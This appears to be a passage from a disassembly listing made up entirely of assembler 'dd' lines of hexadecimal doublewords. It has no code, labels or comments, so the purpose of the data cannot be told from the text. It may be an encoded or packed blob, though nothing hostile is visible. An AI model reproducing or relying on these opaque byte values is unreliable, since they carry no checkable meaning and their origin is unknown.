		dd 41262Eh, 4E052077h, 0C310EA1Ch, 7FD34D00h, 2660F139h
		dd 4C880B9Ah, 0F380A002h, 0A77478F6h, 4034DFEh,	54AB2C11h
		dd 0E2C5CAA4h, 814F40ADh, 1FE93B5Fh, 4283DC80h,	0E8C64AD8h
		dd 0F0A10F00h, 500B996Ch, 80390027h, 0DC29C83Ch, 4600FF10h
		dd 66DEA8A9h, 7B31E40Dh, 715D003Ah, 7AF701D0h, 77079EA0h
		dd 0FF2140C8h, 53359CB0h, 0E9BD0069h, 0D5B95ABh, 2300133Ch
		dd 0B496EE46h, 0EFAF2Bh, 4D5FD597h, 0F53E9329h,	0D7F7DC00h
		dd 79AA46F4h, 409600ECh, 33B27F94h, 0D8046F87h,	434AF0FAh
		dd 99C34081h, 18B0E0F7h, 0F63D007Fh, 0F22B3A7Bh, 9E0117D4h
		dd 0AE3042F4h, 0A3CCBDA4h, 0FAC31246h, 957C4F39h, 7B3099E2h
		dd 5F9B49C0h, 745A3200h, 0F92412BDh, 7DC300C6h,	86396518h
		dd 0B072C181h, 8059413Ch, 0CC437331h, 33A557DEh, 6F20D47Ch
		dd 27A2D8A0h, 3250A80Eh, 0A45432Bh, 88CFE335h, 1F7F1A42h
		dd 7813B8h, 0DBCB5CD7h,	0C605B953h, 1087C22Ah, 560066C7h
		dd 0B40F10Bh, 0C08A6DDFh, 2CB35681h, 913D85Eh, 963AF279h
		dd 7CBA9E9Ah, 8EC0671Eh, 19F43B9h, 8AEE0785h, 0C19CF672h
		dd 0E862B7F8h, 96009B92h, 6899654Bh, 0F901ADh, 0D036CB1Ch
		dd 175333D8h, 7364303Eh, 4762EA2Eh, 758B480Bh, 8AE6C482h
		dd 0A71D7C60h, 9F66B900h, 74F4CD88h, 0E42D395Ch, 2127800h
		dd 717BB498h, 0CD0BD0EEh, 80C0E114h, 7FD1ABADh,	0EBEE003Ch
		dd 9A40910Dh, 5B01218Ah, 228FB3C4h, 1880E26Ch, 0E156FDCBh
		dd 0A900EBD3h, 0D90B8ADh, 0BD7674h, 0BFC09C34h,	8B71D2Dh
		dd 692445F6h, 95001489h, 0CAA3B4EDh, 669A014Eh,	923EB7D1h
		dd 7FC7705Dh, 4B75B300h, 0E814B961h, 2619EC46h,	0AC3A6Ah
		dd 0F5D48FF6h, 3C005C7Fh, 0EA098539h, 66B89Ch, 6F389B9Dh
		dd 8DBBBFD3h, 9EC4A11Dh, 1DCD4240h, 2CC7AD95h, 1D5C9A3Eh
		dd 0E5870046h, 1EEAD55Fh, 9B824200h, 869DF273h,	6D2E18C8h
		dd 0C4C9929Ch, 55E4D50Bh, 45EF027Dh, 16D6E0D1h,	0D0AB60A5h
		dd 8F15708Bh, 7C8CE124h, 42DEBF04h, 0E8749400h,	0EDEA8BDDh
		dd 14812213h, 90477007h, 0E17228F0h, 0A8920AE6h, 87980D57h
		dd 13204F50h, 0B1809AA6h, 87B04370h, 0AFCF7800h, 9939970Dh
		dd 0ECA3004Fh, 22FB42BCh, 14006064h, 5EA9EA1Eh,	7FCAE01h
		dd 0F37EFF40h, 87452076h, 0C6007F8Eh, 4751DBA6h, 65B16Fh
		dd 0F10A3F3Ah, 0FA702CAFh, 0C8122400h, 43CBF4Bh, 0A2940C81h
		dd 72105448h, 0B5E69900h, 0E32BC728h, 6F35007Ah, 0B6F2BDCBh
		dd 76007C1Bh, 0CF01A088h, 80B113h, 4827D246h, 6A7AAFC2h
		dd 1F228B00h, 63D192B4h, 0D8580098h, 0FBC83267h, 0EE00E7BFh
		dd 356EB7C9h, 707A949Eh, 5FE614h, 989A513Dh, 0C4A66349h
		dd 0A3507E12h, 24552020h, 0EF0600DEh, 8F52AF28h, 4D79B913h
		dd 56001890h, 0FF31BB26h, 366FF3h, 56E3BC8h, 0EA0A48BCh
		dd 0BB591B00h, 0FA126D7Ch, 76130E3Ah, 80DF90DBh, 0E0A6B2D0h
		dd 92394CEBh, 0C9EF80E8h, 8E73CD3Dh, 0D6C3C62h,	0DF2AA500h
		dd 7A30C224h, 945FE912h, 0E581C000h, 0C13BDDA7h, 0CE288912h
		dd 2CB0F4ABh, 9015A309h, 384893Fh, 0C0116DC2h, 7ABCFh
		dd 0A14AE4CBh, 0ED5AB722h, 28C03E71h, 58305C21h, 369F2A0h
		dd 0EE33F7ABh, 49000DE1h, 0FC71B803h, 989AFF9Dh, 86693B62h
		dd 5D185A07h, 0BE070250h, 65FE5840h, 0D6D27D12h, 803D5449h
		dd 774CDB58h, 0A1C800AAh, 3558F664h, 0B20093B3h, 0B7FAF40h
		dd 59B1F3h, 2B9499EFh, 75625512h, 9F46521Ch, 0AFABC744h
		dd 0A03575C3h, 0FEACA4Fh, 0C0A289A8h, 641888C0h, 2105B1F5h
		dd 0E0BC0E0Bh, 55FB0480h, 9AC1A004h, 1C9E3D2Ch,	16DA4680h
		dd 4DEB4097h, 8D913800h, 0BD83D91Fh, 94C00077h,	0EE810631h
		dd 0E4002004h, 89073EAAh, 240B64h, 43F39732h, 90C34CD3h
		dd 0E3F5551Ch, 0AC023040h, 870D08h, 6019C27h, 339AFD64h
		dd 0FEB9B600h, 4EC09FB1h, 45660002h, 0EF448878h, 0F00DA04h
		dd 0C91F7FACh, 0A92C32h, 35626A29h, 0E6F0B3B9h,	2FC8BA07h
		dd 0FB0530Bh, 48D6EA2Bh, 0A200DB4Eh, 76040652h,	0C000334Ch
		dd 233E9931h, 0E47528h,	0F5C2A4B8h, 0F702FE6Eh,	0EFB4920Eh
		dd 76E22042h, 383FB8DCh, 0F008C5Ch, 99DAC08Fh, 58BD6EC7h
		dd 1EBC097Eh, 0F80930CCh
		dd 0FDB62600h, 0E70077DEh, 52234AB4h, 7A39604h,	0BF0FD2FFh
		dd 73C2307Ch, 0E00034E2h, 78C680ECh, 0D7F681h, 88B0F8E8h
		dd 0A26F8FCEh, 5FC07200h, 8EB58A7h, 9DD303ADh, 956E6077h
		dd 0E7704098h, 28F57C00h, 27B0593Bh, 439000A9h,	23195F3Eh
		dd 0D07D04E4h, 29655A01h, 6EA6D11Ah, 0A6605DF1h, 0DA7D191Bh
		dd 1A41070h, 2180B4B8h,	4D52CCF4h, 9D007F11h, 0C483468Dh
		dd 710932h, 0CB8B2A3Bh,	1CA4FB08h, 92BBD70Ch, 0F884386Fh
		dd 3086F0A2h, 0DC822ABh, 16007B2Fh, 99261487h, 3FD64027h
		dd 0DB83D99Ah, 0B13EEFA6h, 8FF34100h, 305D53CBh, 0F07E41ADh
		dd 0A43C0F08h, 50CA0026h, 6814E89h, 79DD00DBh, 0FAAF16A2h
		dd 7B00AD11h, 0BFD009F1h, 1FA7DA70h, 0C27FFB45h, 0B0CC857Eh
		dd 97A53660h, 51F04C07h, 2EE1FA20h, 0FC882D6h, 0D721000Ch
		dd 33AD76F7h, 7DF0DAD5h, 54AAC51Ch, 80E6574Bh, 639D9F6h
		dd 4EBF07CCh, 40B9D6C9h, 0ECB29116h, 0CFBC3A03h, 98815D50h
		dd 1E3ABADh, 0F886E04Bh, 0E4783E20h, 980123FAh,	0B3DFB9D8h
		dd 7A604315h, 0D31905C4h, 90169Bh, 3102E284h, 4C00EFE4h
		dd 0AE0DBF1Ah, 0AB92DCDh, 0CFFD86B4h, 3738038Ch, 70E07AEAh
		dd 850723E2h, 0E3CE9A54h, 52727FF1h, 0E3999E8h,	0D72B818Eh
		dd 0C81CA8F4h, 0B8FC567Dh, 44980472h, 0EF83CC35h, 1BE8C0FAh
		dd 14EE1870h, 0A04D3176h, 621F3Bh, 9B42FAA4h, 9A5EAC4h
		dd 982E54EFh, 63D1801h,	5A308071h, 25AFA22Ch, 0D7B018AAh
		dd 5C3DD095h, 0F9CE08C0h, 0ED0A8Ah, 9C7B2AA8h, 1CFD36E1h
		dd 0CCDA0D05h, 0EA00D684h, 95E44A28h, 2FDC00E9h, 0A8EFEC45h
		dd 260710CDh, 0DF2133FBh, 28A1AAC0h, 0FD10F5Bh,	8E024FDAh
		dd 0D960BDACh, 6D181E06h, 0E14EB6B0h, 54F00C57h, 5E10B3ABh
		dd 0ED2A5C15h, 9F9A0DA4h, 4847A05Dh, 8E6C81E0h,	0E85E835h
		dd 0E3D5314h, 0E6781200h, 6C9255DBh, 2ECC6F0Fh,	44CF203Fh
		dd 1D7C094Fh, 0D6E002h,	0AF9077B8h, 3D0CE6A0h, 18E33269h
		dd 0F4CA186Dh, 50B9F8E0h, 0F7F2CF07h, 0D680D9BCh, 7FAF09Eh
		dd 0ACBA7B0Fh, 251C6024h, 0AA187C90h, 418DB97h,	16270063h
		dd 0DF4D775Fh, 0CD03625Ah, 91E3148Eh, 7B7FB889h, 66C00A8h
		dd 8FE1D87Dh, 6E00735Eh, 0C4D60F6Fh, 1FFE6B2h, 54DEACC5h
		dd 81DDBA2Ch, 74AE9180h, 0FEF0AF50h, 0C0A37B5Ch, 7010E999h
		dd 46071152h, 0E477E30Eh, 0BA97D590h, 5B8B06F6h, 0A0DE1CD4h
		dd 7D3F5A01h, 7CDB6CA9h, 69388080h, 0F93E944h, 0A87A751Eh
		dd 0D6F76680h, 0C3C730CFh, 0F059D888h, 0ADE5CDF8h, 5A376C05h
		dd 94010C7Eh, 0A14F9791h, 30F0ACF0h, 3E58AE19h,	48503953h
		dd 6208D548h, 0AF78BA0h, 3C8BCDCh, 0AE3908BAh, 59D67406h
		dd 23E8D7FAh, 3962522Ch, 0CD4C1C48h, 5A6207C9h,	5BF05D86h
		dd 0C0C82AE4h, 0D87692F8h, 0B678BDE7h, 0F8D93328h, 0B9A54E00h
		dd 4B3BC060h, 0D57700BBh, 0D2CAB371h, 5E984668h, 4F8E501h
		dd 0B274F25Ah, 3120F8h,	0D2C72B95h, 34B889FEh, 0AF5F9101h
		dd 0E82A7240h, 0FF7B5F8h, 6B9E8C7Ah, 0BAC2C542h, 206E74E0h
		dd 0AC47BE39h, 79007F5Dh, 0BF6D5C0Eh, 0FDC300ECh, 0A6A47778h
		dd 0CB1FD469h, 994EF013h, 3F4723A9h, 3C65C89Bh,	0FDED00B0h
		dd 0DF857D38h, 0DD7C0489h, 5C3C0C98h, 0FA0572E2h, 164B46AEh
		dd 0B20943C0h, 246C135Dh, 0BA7D07C5h, 9C04101Dh, 0D7F0219Bh
		dd 0D93F2A00h, 37C3D6B9h, 6DC80F3Eh, 0D8C03068h, 871B825Bh
		dd 71DA0500h, 80BE34C3h, 2DD60783h, 0F0624DFCh,	0A593F548h
		dd 51791807h, 5ED052FBh, 12129820h, 0F67E38Ch, 0A0E0158Ah
		dd 5256F5C6h, 0E9371D00h, 7DE4459Fh, 53E204C1h,	90B90834h
		dd 1C2234Ch, 9297AB03h,	0D88CD52Ch, 90F870h, 0D0FC15CBh
		dd 5157B966h, 801DCF0Ch, 0DB39D5h, 687D0BC2h, 0FE257824h
		dd 0EA75C900h, 504C19AEh, 0C606013Ah, 222A6A8Fh, 2B84511Bh
		dd 295B308Eh, 0E2986100h, 0B81A1D39h, 89AA00B7h, 15BA34A0h
		dd 850314BBh, 42BFCA92h, 8C2CE831h, 578716Bh, 0F5AF4EEBh
		dd 8FA9C1BDh, 4812D436h, 232E61C6h, 17FF0BE6h, 8E002494h
		dd 28EA5EEFh, 88422500h, 0E899B787h, 0C8266666h, 94005889h
		dd 7C995A4h, 0F506D25h,	0C597F35Ch, 0D0607FCFh,	0FE9F9BC1h
		dd 671FDE01h, 0A959C426h, 11E032E9h, 347E0301h,	57F16E6Ah
		dd 96F3D8F0h, 4DEE4801h, 0EFDE9B81h, 2413E3E4h,	0B20CD0h
		dd 3CB595B7h, 9000DC34h, 4D8335A3h, 81DDA1h, 2F720AF7h
		dd 7997E115h, 5453660Fh, 14B84345h, 3C08C0DFh, 5A0900C4h
		dd 0EE436F5Bh, 82014BF0h, 7363D222h, 0E5E42CEFh, 903F0B48h
		dd 0E741BC5h, 7702A300h, 985F34h, 3E9B3047h, 5632089Eh
		dd 50448h, 0A3468FC0h, 0F0212Dh, 1A5A280h, 0FA6FF12Eh
		dd 91D66200h, 0B87ECB82h, 289EA7Fh, 66DBFDF3h, 0CCE07CBCh
		dd 0F80C5950h, 0B010DE74h, 514B06E2h, 4128E0FDh, 0DCE886C0h
		dd 0AD97BEh, 7948A03Ch,	0F83B53B4h, 0CF85E100h,	10FA91D0h
		dd 783A008Dh, 35D57EDBh, 6D770A49h, 588E8A07h, 7B00EE47h
		dd 0B76ED4h, 9EA8E7EDh,	0FB4E07CFh, 0D0632007h,	2560E43Fh
		dd 0A0427E16h, 7097A95h, 0BA75582Ah, 5B3C80D7h,	0A24C65A7h
		dd 0D3387CEDh, 0CCED84A0h, 20C07A9Ch, 904DE68h,	0E4AC8A85h
		dd 507C9E00h, 672C70FCh, 62009399h, 0E8A05ED7h,	0DD77D2h
		dd 68B5F44Ah, 82BA2359h, 83300F06h, 1847E3h, 99F5387Dh
		dd 76C1DDEBh, 7A533Dh, 5BBD7C0Dh, 7888634Dh, 0F3360079h
		dd 324211C8h, 7A54E145h, 0DF071AD0h, 3B8C92A1h,	8770B5C0h
		dd 502B48AFh, 0D9144904h, 961481BDh, 8F21C068h,	0B3D1A70Ah
		dd 788FC0BEh, 7FA460FBh, 123F2DDh, 151136F4h, 0FD8A808Dh
		dd 2F8C8C7h, 8097B13Dh,	330E3A7Dh, 0CB84F1h, 3EFE5011h
		dd 6BD22F5Bh, 0C0ADC0E1h, 0DD6F4D03h, 98928D8Eh, 4C37DB48h
		dd 7341C7h, 854697B0h, 1FCAA3C2h, 7F288E00h, 621E693h
		dd 2398122Bh, 0F4813A8h, 96EBD172h, 3A63B200h, 0C749537Dh
		dd 73D6007Ch, 0DB590AFDh, 0E86490EFh, 6CC8007Ah, 322A9D9Fh
		dd 5F0DEEC0h, 20013B71h, 294F072Ah, 0C284F0C6h,	0CD03D1D4h
		dd 35C1EE41h, 13B7F069h, 2BE30096h, 0B9FDC8A0h,	0FB00D62Ch
		dd 0B24DF3D1h, 0E7D38A8Bh, 0E98651BBh, 90EBD2B4h, 0CB4E1012h
		dd 3ED1DF03h, 0F03AF83Bh, 20BC07FFh, 0F02F961Eh, 7192CA64h
		dd 0FB9DC800h, 0BB32C444h, 6C280083h, 52A193F0h, 4C07D774h
		dd 0B0BA7141h, 1A1EE0B0h, 28313AD3h, 9FE5BD87h,	0F99EE022h
		dd 2000383Ah, 2AE106C9h, 94C4C7h, 0FA07F518h, 0AEB6E26Eh
		dd 0D821381Dh, 91E85098h, 8FB0009Ah, 0F2B13329h, 0F400B66Ah
		dd 0A9D7A41Eh, 1743A7h,	2002ECE9h, 5F301648h, 86752E00h
		dd 0E562F0Bh, 0B8170310h, 6EA198E0h, 0DDEA5BA0h, 76ED1D00h
		dd 10B4037Ch, 0A0C300F1h, 72E36CFBh, 2E03177Bh,	1CE45F8Ch
		dd 0C3E1D0CFh, 2F380054h, 9B88C993h, 0EC795A3Dh, 2100B379h
		dd 0AB41E475h, 0E8A614h, 672B9404h, 0C9A28BCDh,	0BDCA48h
		dd 0C7410591h, 3ADFF66h, 1597730h, 32B84E0Ah, 2D4CA22Fh
		dd 0C3D9004Ah, 18203927h, 0E09A03E3h, 79354351h, 0C4FC2381h
		dd 4B009B12h, 0C37C86DFh, 77B193C6h, 612F0028h,	0D0B31CE8h
		dd 263B7178h, 1644DCAh,	0FC01AB95h, 5102F0Ah, 0BD008C1Bh
		dd 9D97E75Fh, 0D8A790h,	89A22DA6h, 326F6056h, 0EBFD5D00h
		dd 959C10Eh, 17420075h
		dd 8F1618A2h, 4CE47DD0h, 0AF5E3B03h, 0A8C08D2Ch, 0A3F184h
		dd 6BD14698h, 37C8D63Dh, 3F85733Ah, 8B210FFBh, 66A7805Dh
		dd 0B02D0660h, 75053A13h, 51ED850Ch, 1460DC20h,	7B026E10h
		dd 74DA3C61h, 2A52E000h, 0D61781F3h, 72E68B00h,	51603A01h
		dd 0E120C25h, 2D612656h, 0DFB2D800h, 0E85F5837h, 0FE123601h
		dd 0CB142140h, 4C8F402Ch, 85A86F0Dh, 0E80FB06h,	0E7CC5Ch
		dd 0E94DC8C3h, 0CF586349h, 0D02CA03Ch, 4201B587h, 0D0FF5D6Eh
		dd 5C0F027h, 6FBD0EEAh,	0CD8021A8h, 0E9F235F3h,	2D51D900h
		dd 8B70178Ch, 252630B0h, 20123681h, 6A50C3Ah, 7AAD1341h
		dd 21196008h, 1D200A67h, 83009F74h, 0F354DCBDh,	7FD00Fh
		dd 85C478B5h, 44B0A3B2h, 0E031BF03h, 0B7153F66h, 36643330h
		dd 0FDDA102Eh, 167910E6h, 3580510h, 9AC24147h, 2511002Fh
		dd 1D15F0A1h, 0ACF253C5h, 0D908BB66h, 90687521h, 0D13000EEh
		dd 0E963101Eh, 0BD00DD14h, 5B96CFF2h, 0F753C9h,	9B33792Bh
		dd 8537A85Ch, 6D779A03h, 3B82A76Fh, 831F0819h, 8D3C3CA3h
		dd 966AC900h, 0CC9DCFC4h, 87570B03h, 0BF23C76Ch, 70E530CDh
		dd 99566D00h, 377B641Ch, 0FE204FC0h, 0F5D618h, 33C894E8h
		dd 0A1BE3F05h, 589FA000h, 61EBBFF0h, 0AF75002Ah, 0B7171E71h
		dd 9001AA4h, 0EEDDA73h,	1936046h, 29763A7Fh, 887204FDh
		dd 88A57328h, 0F790DB5Bh, 51F80486h, 0D911CF42h, 800B11D5h
		dd 29FDB118h, 7809AABh,	36BE0026h, 24D7EA61h, 89055CAFh
		dd 0F7E68659h, 0A5B98305h, 0BCCC8580h, 0D5FA1F82h, 384D40D8h
		dd 0FA23A84h, 0F2C2F800h, 0C3C8487Dh, 0C5690299h, 3D202A10h
		dd 53005A58h, 5AFAEB70h, 0FE8BCBE9h, 0DE4D12EFh, 816B0024h
		dd 0F66BE682h, 5BFE7500h, 3A1DBB76h, 638C0096h,	2A3E660Bh
		dd 24000106h, 7801FAEh,	3FF3EC28h, 11800477h, 27573CB7h
		dd 0B53E5B55h, 6C7F8061h, 592ED512h, 150B0AD2h,	93C073h
		dd 0CF386B93h, 2B13C577h, 0B20F92FCh, 17FB2029h, 394F78D4h
		dd 0FA80E6A7h, 0D2F7E159h, 1D03222Ah, 7AB044C3h, 0B211E01Ah
		dd 0EF3A0B5Bh, 0CF803E27h, 5DFA2C9Eh, 83B5961Ch, 3F2E1107h
		dd 0F24E1FD3h, 0E034613Dh, 69ADC4h, 0BF9BAA66h,	0C7A2E550h
		dd 0EB93200h, 61B24BECh, 0BCBE0142h, 3F413806h,	0B1E8D7F9h
		dd 0E1585BD5h, 81C907A1h, 0D505CE5h, 0E4075Eh, 9D6AB98h
		dd 1953D308h, 0C205FC75h, 5987DB4Ch, 0AA859080h, 0EE2C30DEh
		dd 0C98D2361h, 0C3A51200h, 4815F73Bh, 335000D9h, 0CE89BF70h
		dd 0C6382A0Dh, 0E19600EBh, 23783FBh, 7B400032h,	4F7F15F9h
		dd 980012E5h, 0E0626982h, 65B6D7h, 57258E63h, 0ACC9FA5Ah
		dd 52AB4301h, 6B72D0B8h, 0FCF030D0h, 60B051h, 4EF2D426h
		dd 8FBE769Ah, 0C10059E6h, 0BBD7C3D3h, 2612F1h, 6DECA61Eh
		dd 0C941746Ch, 4BD89500h, 0BB5EDFC6h, 3F6400FDh, 0B5809389h
		dd 0D4280288h, 2800CF52h, 92EBD039h, 3DB23D3h, 48BA95A3h
		dd 17A09CB9h, 65004555h, 23E7AE15h, 0DF5069h, 0E6E5E929h
		dd 5C2B5BABh, 65482514h, 0C33D98h, 940DF232h, 61A0BCh
		dd 0B215ED03h, 2B405C5Fh, 0C4F84E00h, 0F61F45B5h, 0BAE4005Eh
		dd 0D1D2B17Bh, 3C01860Eh, 0ABD63683h, 80803524h, 0AE10C467h
		dd 0B8001F84h, 0E47CC215h, 24E86Ch, 4D69BA4Ah, 6311C80Fh
		dd 0C98E3300h, 0D35903D7h, 60A198F2h, 546029B1h, 0F012CA05h
		dd 1C20C043h, 8E6D82h, 0C1158CD2h, 789B76C8h, 454AE00h
		dd 0B23DC72Ch, 2C90C3h,	88D2890Fh, 0D10B11CAh, 0B37B101Fh
		dd 0DB2DF4C6h, 1D5A02A2h, 0E962DEA9h, 87892049h, 0B88C3191h
		dd 0CA9D0160h, 7ED90067h, 70D0F74Fh, 900CAB0Dh,	190A82F4h
		dd 877124h, 0DE8B654Ah,	0ACC74027h, 7BDB1800h, 6B10707Ah
		dd 4FE500BBh, 85F2CF72h, 157A5E58h, 0A97B9C00h,	59C81CD3h
		dd 4F9B5C94h, 793EFF03h, 0B8888423h, 410E3178h,	0A0A69854h
		dd 66C0354Dh, 0C67A93h,	8F9B3B33h, 20ABE05Fh, 87C41F39h
		dd 9C50C040h, 0B5F1E8A0h, 98BA0334h, 6BFC2EDEh,	6E88399Bh
		dd 0C0066B8h, 5881205Ah, 19B071h, 0AC2412B4h, 693AFB17h
		dd 0ADD5F10Fh, 500BDDFh, 18CFD90Bh, 826800C8h, 80E8C0B0h
		dd 0F3EAD38Ah, 0B10012E2h, 0EC6A16BAh, 3373A1h,	0A28C4A72h
		dd 431DD8C4h, 0AC5E5700h, 38FBA7C2h, 6C2A0065h,	0F1DBFF77h
		dd 2E006F83h, 0B3261891h, 0BCAB29h, 0BEDDB803h,	83C49B98h
		dd 0B48C2500h, 0F429922Bh, 4B5A007Dh, 0DBBBCAA5h, 6339F161h
		dd 3AA18037h, 180D11E4h, 0F050039Eh, 3329C8E7h,	0F34E8488h
		dd 5FAF971Dh, 43F46B40h, 4A618h, 0FD4A63D3h, 51B9F60Ch
		dd 0E509200h, 263270B8h, 6BC11E02h, 0D19DFE74h,	0D45FC7FFh
		dd 0EE29E07Ah, 0C600039Bh, 0EF9E646Ah, 7036F6h,	8EFCA48Fh
		dd 1242848Dh, 3DE66514h, 0B05A00ECh, 0C40ECDF0h, 343F00F8h
		dd 0E65666D2h, 243F41F3h, 65A5807Ah, 1569D0A8h,	0E7500E6Ah
		dd 0ED856DFAh, 4895C644h, 71DB4700h, 2AECB5BBh,	0CF243EEBh
		dd 91C600F3h, 2633C58Dh, 2D1CA6AAh, 0A740079Ah,	6C2889B3h
		dd 126F003Ch, 2F91BB32h, 0FC00C6FEh, 0D97CD4DFh, 7704B35h
		dd 0D1B38C46h, 388F51C8h, 82DAF499h, 692080E5h,	8494E4CBh
		dd 9D332485h, 16A930C7h, 3A600D7Bh, 0B7D214A0h,	0E02B0285h
		dd 0A654C7C3h, 7155A2C0h, 6F265800h, 0CAB605Dh,	0FD0F3D19h
		dd 308EB000h, 5B19B3Eh,	0D674A900h, 184A6268h, 2BB01ECh
		dd 0CA2A6FA7h, 0C340E28Fh, 0B3024E92h, 0B7BFE709h, 7AE64061h
		dd 6FFA3Ch, 22502871h, 84166359h, 0BA68F600h, 47387397h
		dd 6BB001Fh, 0C94522A7h, 7D2C19E8h, 5F006EA8h, 2479A450h
		dd 66EE003Ch, 7B082588h, 0FF393599h, 0FA54002Ch, 0B00292DAh
		dd 0F8796F84h, 0A9873EC0h, 0F7737F5Dh, 6FBB7300h, 4ADF4D93h
		dd 12AD09D4h, 0F5C5CBh,	0F6F7F97Eh, 12D2F2B0h, 1A521FAh
		dd 91DFDB9Ch, 9030F8B8h, 4A945D00h, 29CEE2CCh, 7E3904E5h
		dd 0C062FBD4h, 0F9428628h, 55725A18h, 0AC7F10h,	0FD22D66h
		dd 54F02802h, 7BF6A0C0h, 0FE3C349h, 3475F4Bh, 2010D2C7h
		dd 6D4FF919h, 2D04CA00h, 55499A93h, 1B8B8C2h, 7AF0BE5Fh
		dd 0F43F8738h, 0EF07F1AFh, 0F5721643h, 1C8127F5h, 56C4D16Eh
		dd 0EDD73A80h, 3F04D38h, 16C0F8CFh, 100FBA6Fh, 63EE5F43h
		dd 0B08DFCDBh, 793FFDEDh, 0D9F40065h, 0A9C482FFh, 0DA74F71Ah
		dd 0E339B006h, 487CDBC7h, 0E025CFDh, 0C092C58Fh, 0BC8CDD60h
		dd 5949F50Fh, 9C09C1Bh,	0A8FC3DD2h, 904E00B5h, 70153198h
		dd 517195AAh, 40FDE5EAh, 0AE6450B0h, 0EFA6B413h, 0EB4010h
		dd 139DD949h, 0E886D8h,	9E1D759Fh, 37989BC9h, 49309C00h
		dd 0C04C2E9Ah, 0DFD507EEh, 0F647F58h, 3AC7F420h, 40012582h
		dd 1D92AFE0h, 22DC59E8h, 767E878h, 0DD998D4Ah, 0BEBC60ECh
		dd 7F5C57C9h, 0A50B07CBh, 8970B1h, 61FE6FD4h, 0D81F00F4h
		dd 0E84D487Eh, 6B04F587h, 0BFCE45AEh, 16C0F8C7h, 0F862F64h
		dd 30ABFB1Ch, 403E3907h, 0B17440B3h, 808F6A38h,	50987D24h
		dd 1CB5732Eh, 1854ED5Dh, 5731283Dh, 2000D2B0h, 0B2DD985Ah
		dd 52C1AEh, 0E34A4E6Bh,	766CC3B3h, 3B131502h, 0DF9C73F0h
		dd 80F81C43h, 31003D83h, 178F9426h, 1ED6AE37h, 49E9666Bh
		dd 0FC00089Dh, 32F4D2F7h, 9537C900h, 38965D5Ch,	63FE3B28h
		dd 801FF300h, 0A3C18B3Eh, 4E008DE6h, 34B12330h,	14D56087h
		dd 0D8A40A2Ch, 3779A38h
		dd 70E6CC05h, 30EAA2ABh, 0CEB66060h, 320F3575h,	0E0E77161h
		dd 5308CAC9h, 2FA93012h, 1579A5E0h, 0F4886D09h,	4850A7D2h
		dd 7F8CA270h, 98C8C32Fh, 0F5D04B8Bh, 3C777675h,	3A73DA10h
		dd 0CDCD28h, 0D625FD5Dh, 221C2B29h, 0A4A057F0h,	0FB007E8Bh
		dd 7866C7C6h, 3F121F24h, 0F08E03DAh, 0EF00C5FDh, 880DCBA8h
		dd 0C2B6C07h, 0C300CD1Eh, 609FD276h, 8C57901Ch,	0DD000598h
		dd 70973C26h, 0B8E6ADB7h, 776A079Ch, 0F0CE568Fh, 299FFA16h
		dd 23547001h, 0C6E112B8h, 0F7DA8C0h, 8C39696Ah,	0E9AC6B43h
		dd 0F1B31BC8h, 0FF0C7214h, 0A5009DA0h, 0E7AFDC4Dh, 0D9D0C33Eh
		dd 48B27D3Fh, 97727340h, 0CD383C7Bh, 2060099h, 0CC3A5723h
		dd 12BC0015h, 437FC3D0h, 8AC022D9h, 8C3BF339h, 0F7933C6Ch
		dd 0F4F9BAh, 1FD0AC9h, 55ED6D36h, 5DCB3400h, 5427531Eh
		dd 26370315h, 964ED307h, 110FFCE0h, 0F51B58h, 0E97B2DB1h
		dd 0E41CA348h, 59443CB9h, 91DEE380h, 0B02BF16Bh, 0A00198E8h
		dd 9572A29Dh, 0E280CCDBh, 0AC21C396h, 0F000D9CDh, 3D8D852Ah
		dd 1207CFF3h, 536CDDh, 0D4706728h, 0C10757B2h, 0F4D73AC0h
		dd 3C50900Ah, 0CE1F0042h, 63898825h, 33EEB1C6h,	403060B0h
		dd 0C2EE620Eh, 0E5E671h, 3E141EDBh, 0C57504F9h,	1C0010FCh
		dd 5EB0FEBDh, 408A30h, 0BAF841DFh, 0D6081BC3h, 38C06C30h
		dd 16D1BE25h, 518134h, 389F5E84h, 0B70959C7h, 7C8AE9DBh
		dd 0A5F8001Dh, 2699A1D2h, 8BE12200h, 0FA72B254h, 0AB0D3ED5h
		dd 0EB37040Bh, 38F33900h, 0E0013632h, 11814418h, 7434462Fh
		dd 359F07A2h, 120FA684h, 644101D4h, 0F53BC855h,	374BC58h
		dd 0ACA17009h, 59110F3Fh, 69E0CC64h, 3D6AC777h,	89EE0F16h
		dd 5A706400h, 1737805Bh, 0EBC108B3h, 0D5109h, 0FEE19803h
		dd 0E03B5897h, 22B231Fh, 4D050B0Fh, 0C019AB41h,	6F00BE90h
		dd 956DC7B5h, 7E4EA42h,	0F0A07A1Fh, 861D04CBh, 90E310Fh
		dd 6025CC77h, 0FF61E1B1h, 4CD70F45h, 9B00CEFCh,	528FEFEBh
		dd 80F84A00h, 0D2B0E42Ah, 91410E24h, 9BC0F6D6h,	0EEABDAECh
		dd 2EA44E00h, 6434E0F7h, 0C37330h, 48170F03h, 0CB75CFEDh
		dd 209C03Ch, 96994F5Bh,	663AE0E5h, 0B0CD7FC3h, 54AF00ECh
		dd 1582336Dh, 2017CFE4h, 1C0568CBh, 30C0C965h, 3E2B3B11h
		dd 0F5CAA60h, 0C1005C49h, 0E9BB7B8h, 463F7BDBh,	0A03E80FEh
		dd 601C8A5Ch, 37CF00EFh, 0EE6C8DBDh, 0FB50EA28h, 0C757FC4h
		dd 0FA00E677h, 98BDBE2Eh, 0B851D71Bh, 332B00C8h, 42DDF815h
		dd 0CFA03CF3h, 5C0FF157h, 819F8075h, 0A3F80D73h, 0B3031C8h
		dd 878ECD4Dh, 69931C80h, 3B00DC8Fh, 9FBEBF2Eh, 0ACA514h
		dd 9A6054C0h, 0A240E74Dh, 962FAE00h, 0A64AF99Ch, 0A10C399Fh
		dd 5220F600h, 0B5B3856Dh, 6BDBEF00h, 93E6CC9h, 8AB960F4h
		dd 3754D19Eh, 12E2D400h, 7855D815h, 13FD0033h, 1DF92E6Ch
		dd 0A703839Dh, 0BC237A9Eh, 0B10CD82Ah, 0BC3D48FCh, 0CB1F7238h
		dd 0F02558FEh, 0C800CE7Dh, 33DEB0B8h, 9AC7909Dh, 842A14F0h
		dd 0C6028551h, 8501370Dh, 0CFD2040h, 94C1A00Bh,	0EE81811Ah
		dd 90705996h, 0C5D70C23h, 0A4401B56h, 0E0A8C7FEh, 0B3500790h
		dd 9C16D384h, 0F0001A6Bh, 66CE7CE2h, 7EC902F8h,	557B3E85h
		dd 0A3193060h, 0C1DAFF00h, 4274900Ch, 851E009Ch, 15B1E1F2h
